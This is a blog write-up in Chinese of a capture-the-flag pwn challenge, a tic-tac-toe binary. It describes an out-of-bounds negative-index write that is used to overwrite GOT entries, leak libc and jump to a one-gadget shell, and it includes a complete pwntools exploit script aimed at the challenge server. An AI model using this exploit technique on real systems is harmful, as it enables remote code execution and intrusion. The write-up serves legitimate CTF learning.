tictactoe的wp

https://hackme.inndy.tw/scoreboard/ 題目很有趣,我做了tictactoe這個題目感覺還不錯,我把wp分享出來,方便大家學習
tictactoe的題目要求是:

nc hackme.inndy.tw 7714

Can you beat my tic-tac-toe AI?

把tictactoe直接拖入ida中:
main函數:
image
computerMove函數:
image
draw函數:
image
playerMove函數:
image
win函數:
image
print_result函數:
image
input函數:
image

這個題目挺複雜的,但是在反編譯的地方我找到一個題目的源碼在:https://gist.github.com/MatthewSteel/3158579,這個題目就是由這個遊戲修改而成
先運行一下程序看一下這個程序幹了啥:
image
這個程序輸入9的時候可以輸入改變的數字,輸入其他數字可以把輸入的數字放入指定的位置
再看看程序開啓了哪些保護:
image
這個題目開了棧不可執行和canary保護,所以不可能是棧溢出
這個程序的漏洞點是在:playerMove函數裏面,由於輸入的數字沒有任何限制,所以可以輸入負數覆蓋0x804B056之前的數字,在地址0x804B056之前由got表,所以可以修改got表中的內容來改變程序的流程,但是這個程序如果改變got表中的內容的話就只有三次機會,每次只能修改一個字節,然後就會判斷你失敗,最後強行退出程序,由於Linux動態運行庫會延遲綁定,這個可以參考 http://blog.csdn.net/virtual_func/article/details/48789947 下面是getshell的過程:
(1)通過兩次修改把memset@got的後兩位地址改成0x08048BD5,也就是反編譯中的main函數的第37行調用playerMove函數的地址,這樣就使整個程序變成一個循環
(2)利用循環修改open函數爲:printf("Here is your flag: %s\n", buf);的地址,也就是0x08048CB4這個位置,目的是爲了泄露libc的基地址
(3)利用循環把exit函數改成main函數的第37行調用playerMove函數的地址,目的是爲了在泄露libc基地址後,再計算MAGIC,之後跳轉到大循環中
(4)上面的open函數和exit函數修改完成之後,只要把0x804B04D中數據改成ff ff ff,就可以贏得遊戲,程序就會運行到讀flag的地方,也就可以運行你佈置好的流程,通過這個循環獲取到MAGIC地址後再跳到main函數的第37行調用playerMove函數的地址
(5)通過playerMove函數修改0x804B04D中數據改成ff 01 ff 使win判斷失敗,繼續進入到大循環中
(6)再大循環中把open@got指針改成exit(0);的地址,也就是0x08048CF2,把exit@got改成MAGIC的地址
(7)把0x804B04D中數據改成ff ff ff,再次贏得遊戲,就可以getshell了
下面是我的exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
import sys
from termios import tcflush, TCIFLUSH

context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

localMAGIC = 0x3AC69      #locallibc
remoteMAGIC = 0x3ac49      #remotelibc   #libc6_2.23-0ubuntu3_i386.so

def debug(addr = '0x08048CF2'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

def input_number(number):
    io.recv(timeout=5)
    io.sendline('9')
    #tcflush(sys.stdin, TCIFLUSH)
    io.send(number)
    time.sleep(1)
    sys.stdout.flush()
    #tcflush(sys.stdin, TCIFLUSH)
def input_addr(addr):
    io.recvuntil('Input move (9 to change flavor): ',timeout=5)
    io.sendline(addr)
    sys.stdout.flush()
    #time.sleep(1)
    #tcflush(sys.stdin, TCIFLUSH)


elf = ELF('/home/h11p/hackme/tictactoe')


#io = process('/home/h11p/hackme/tictactoe')
io = remote('hackme.inndy.tw', 7714)
#debug()
io.recvuntil('Play (1)st or (2)nd? ')
io.sendline('1')
#change memset to loop
input_number(p32(0xd5))
input_addr('-34')
input_number(p32(0x8b))
input_addr('-33')


#change open to printf_flag
input_number(p32(0xb4))
input_addr('-42')
input_number(p32(0x8c))
input_addr('-41')
input_number(p32(0x04))
input_addr('-40')
input_number(p32(0x08))
input_addr('-39')


#change exit to loop
input_number(p32(0xd5))
input_addr('-46')
input_number(p32(0x8b))
input_addr('-45')
input_number(p32(0x04))
input_addr('-44')
input_number(p32(0x08))
input_addr('-43')


#success get flag
input_number(p32(0xff))
input_addr('-9')
input_number(p32(0xff))
input_addr('-8')
input_number(p32(0xff))
input_addr('-7')

#leak libc_base
libc_leak=io.recv(timeout=5).splitlines()[1][19:23]
libc_leak=u32(libc_leak)
print hex(libc_leak)
libc_base=libc_leak-0x3f12
print "libc_base:"+hex(libc_base)

#MAGIC_addr=libc_base+localMAGIC
MAGIC_addr=libc_base+remoteMAGIC
print "MAGIC_addr:"+hex(MAGIC_addr)

#unsuccess get flag
input_number(p32(1))
input_addr('-8')


#change open to exit
input_number(p32(0xce))
input_addr('-42')
input_number(p32(0x8c))
input_addr('-41')
input_number(p32(0x04))
input_addr('-40')
input_number(p32(0x08))
input_addr('-39')

#change exit to MAGIC_addr
Bytes_MAGIC_addr=bytearray.fromhex(hex(MAGIC_addr)[2:])
exit_addr=-46
for i in Bytes_MAGIC_addr[::-1]:
    input_number(p32(i))
    input_addr(str(exit_addr))
    exit_addr=exit_addr+1


#success get flag
input_number(p32(0xff))
input_addr('-8')


io.interactive()
#io.recv()

效果是:
image
Ps:打遠程會經常斷,要試幾次

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章